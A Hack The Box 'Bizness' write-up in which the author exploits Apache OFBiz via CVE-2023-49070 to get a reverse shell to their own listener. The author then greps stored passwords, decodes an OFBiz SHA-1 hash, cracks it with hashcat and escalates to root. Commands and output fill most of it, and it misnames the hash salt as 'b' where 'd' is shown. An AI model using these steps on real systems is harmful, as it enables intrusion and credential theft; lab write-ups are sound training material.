This box starts off with a business website.
Reconnaissance
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Nmap scan report for bizness.htb (10.10.11.252)
Host is up (0.026s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open ssl/http nginx 1.18.0
| tls-alpn:
|_ http/1.1
|_http-server-header: nginx/1.18.0
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_ssl-date: TLS randomness does not represent time
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: 400 The plain HTTP request was sent to HTTPS port
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The nmap
scan doesn’t provide much, but in the footer of the website we see this site uses apache ofbiz
.
When running
1
2
3
4
5
6
7
8
9
10
$ dirb https://bizness.htb/
==> DIRECTORY: https://bizness.htb/accounting/
==> DIRECTORY: https://bizness.htb/ap/
==> DIRECTORY: https://bizness.htb/ar/
==> DIRECTORY: https://bizness.htb/catalog/
==> DIRECTORY: https://bizness.htb/common/
==> DIRECTORY: https://bizness.htb/content/
....
....
....
When accessing “https://bizness.htb/accounting/”, it gets redirected to “https://bizness.htb/accounting/control/login”.
On the footer of this login page, we can find the apache ofbiz
version, which is 18.12.
Foothold
When researching, it looks like this version is vulnerable to CVE-2023-49070.
We can clone this repository and follow the steps to run the exploit.
1
2
3
4
5
$ git clone https://github.com/abdoghazy2015/ofbiz-CVE-2023-49070-RCE-POC.git
$ cd ofbiz-CVE-2023-49070-RCE-POC
$ wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
$ python3 exploit.py https://bizness.htb/ shell 10.10.14.114 1234
Please make sure from data
At the moment it doesn’t work as we need to install and select java-11
for the exploit script to work.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo apt install openjdk-11-jdk
$ sudo update-alternatives --config java
There are 2 choices for the alternative java (providing /usr/bin/java).
Selection Path Priority Status
------------------------------------------------------------
* 0 /usr/lib/jvm/java-17-openjdk-amd64/bin/java 1711 auto mode
1 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1111 manual mode
2 /usr/lib/jvm/java-17-openjdk-amd64/bin/java 1711 manual mode
Press <enter> to keep the current choice[*], or type selection number: 1
$ python3 exploit.py https://bizness.htb/ shell 10.10.14.114:1234
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Not Sure Worked or not
We get a connection on our listener.
1
2
3
4
5
6
7
8
9
$ nc -lvnp 1234
ofbiz@bizness:/opt/ofbiz$ cd /home/
ofbiz@bizness:/home$ ls
ofbiz
ofbiz@bizness:/home$ cd ofbiz
ofbiz@bizness:~$ ls
user.txt
ofbiz@bizness:~$ cat user.txt
4fba**REDACTED**39b9
Privilege Escalation
When searching the files for keywords like “password=”, “pwd=” or “pass=”, we get a bunch of results. I needed to modify the grep
command a few times as there were some binary files (.dat) that weren’t providing output. The final command is grep -iraEH --color -o '(password|pwd|pass)[[:space:]]*=[[:space:]]*("[^"]+"|[[:alpha:]]+)' *
:
- The arguments:
iraEH --color -o
: These are various options used with grep.i
: Ignore case distinctions, so it matches “password,” “PWD,” and “pass” regardless of case.r
: Recursively search subdirectories.a
: Treat binary files as text.E
: Interpret the pattern as an extended regular expression (supportsfor alternation). H
: Print the filename for each match.-color
: Highlight the matched pattern in color.o
: Show only the part of a matching line that matches the pattern.
- And the regex:
(password|pwd|pass)[[:space:]]*=[[:space:]]*("[^"]+"|[[:alpha:]]+)
:(password|pwd|pass)
: Matches any of the three strings - “password,” “pwd,” or “pass.”[[:space:]]*
: Matches zero or more whitespace characters.=
: Matches the equal sign.[[:space:]]*
: Again, matches zero or more whitespace characters.("[^"]+"|[[:alpha:]]+)
: Matches either a string within double quotes or a sequence of alphabetic characters.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ofbiz@bizness:/opt/ofbiz$ grep -iraEH --color -o '(password|pwd|pass)[[:space:]]*=[[:space:]]*("[^"]+"|[[:alpha:]]+)' *
applications/accounting/config/payment.properties:password=realpassword
applications/accounting/config/paymentTest.properties:password=xxxxxxx
applications/accounting/config/paymentTest.properties:pwd=xxxxxxx
applications/accounting/src/main/java/org/apache/ofbiz/accounting/thirdparty/authorizedotnet/AIMPaymentServices.java:password = getPaymentGatewayConfigValue
...
...
...
runtime/data/derby/ofbiz/seg0/c6850.dat:PASSWORD=Y
runtime/data/derby/ofbiz/seg0/c6850.dat:PASSWORD=Y
runtime/data/derby/ofbiz/seg0/c54d0.dat:Password="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I"
runtime/data/derby/ofbiz/log/log31.dat:PASSWORD=Y
runtime/data/derby/ofbiz/log/log31.dat:PASSWORD=Y
runtime/data/derby/ofbiz/log/log31.dat:PASSWORD=Y
runtime/data/derby/ofbiz/log/log31.dat:PASSWORD=Y
runtime/data/derby/ofbiz/log/log31.dat:PASSWORD=Y
...
...
...
ofbiz@bizness:/opt/ofbiz$
The interesting line is runtime/data/derby/ofbiz/seg0/c54d0.dat:Password="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I"
but while the value hints at being a hash ($SHA
), the string $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
doesn’t appear to be a standard representation of a cryptographic hash. It seems to be encoded.
When looking at the source code of ofbiz
, there is a file that contains the code for hashing passwords (HashCrypt.java). There we can find it is being encoded with URL safe base64
: Base64.encodeBase64URLSafeString(digestBytes).replace('+', '.')
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static String digestHash64(String hashType, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(bytes);
byte[] digestBytes = messagedigest.digest();
StringBuilder sb = new StringBuilder();
sb.append("{").append(hashType).append("}");
sb.append(Base64.encodeBase64URLSafeString(digestBytes).replace('+', '.'));
return sb.toString();
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
}
}
We decode it and convert it to hex to get the original hash. Cyberchef.io can be used by choosing:
- “From Base64” with “URL safe encoding”
- “To Hex” with delimiter “None.
But this is also possible through python:
1
2
3
4
5
6
7
8
9
>>> import base64, binascii; print(binascii.hexlify(base64.urlsafe_b64decode("uP0_QaVBpDWFeo8-dRzDqRwXQ2I")).decode('utf-8'))Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python3.11/base64.py", line 134, in urlsafe_b64decode
return b64decode(s)
^^^^^^^^^^^^
File "/usr/lib/python3.11/base64.py", line 88, in b64decode
return binascii.a2b_base64(s, strict_mode=validate)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
binascii.Error: Incorrect padding
We get a padding error.
Base64 encoding requires the input length to be a multiple of three bytes, as each group of three bytes is encoded into four characters. To achieve this, padding with ‘=’ characters is added to the input, ensuring the resulting Base64 string has a length that is a multiple of four
We need to add padding via (4 - len("uP0_QaVBpDWFeo8-dRzDqRwXQ2I") % 4)
. It subtracts the remainder when the length of the string is divided by 4 from 4 to determine the necessary padding.
1
2
>>> import base64, binascii; print(binascii.hexlify(base64.urlsafe_b64decode("uP0_QaVBpDWFeo8-dRzDqRwXQ2I" + '=' * (4 - len("uP0_QaVBpDWFeo8-dRzDqRwXQ2I") % 4))).decode('utf-8'))
b8fd**REDACTED**4362
The hash is being indentified as a SHA-1
hash, with the salt being b
(which you can see in plaintext in the original encoded value).
1
2
3
4
$ hash-identifier b8fd**REDACTED**4362
Possible Hashs:
[+] SHA-1
[+] MySQL5 - SHA-1(SHA-1($pass))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ hashcat hash.txt
The following 15 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
110 | sha1($pass.$salt) | Raw Hash salted and/or iterated
120 | sha1($salt.$pass) | Raw Hash salted and/or iterated
4900 | sha1($salt.$pass.$salt) | Raw Hash salted and/or iterated
4520 | sha1($salt.sha1($pass)) | Raw Hash salted and/or iterated
24300 | sha1($salt.sha1($pass.$salt)) | Raw Hash salted and/or iterated
140 | sha1($salt.utf16le($pass)) | Raw Hash salted and/or iterated
4710 | sha1(md5($pass).$salt) | Raw Hash salted and/or iterated
150 | HMAC-SHA1 (key = $pass) | Raw Hash authenticated
160 | HMAC-SHA1 (key = $salt) | Raw Hash authenticated
5800 | Samsung Android Password/PIN | Operating System
121 | SMF (Simple Machines Forum) > v1.1 | Forums, CMS, E-Commerce
Please specify the hash-mode with -m [hash-mode].
$ hashcat -m 120 hash.txt /usr/share/wordlists/rockyou.txt
b8fd**REDACTED**4362:d:monk**REDACTED**ness
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 120 (sha1($salt.$pass))
Hash.Target......: b8fd**REDACTED**4362:d
1
2
3
4
5
6
7
8
9
10
11
ofbiz@bizness:/opt/ofbiz$ su root
Password: monk**REDACTED**ness
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/opt/ofbiz
cd /root
ls
root.txt
cat root.txt
3b82**REDACTED**e8ec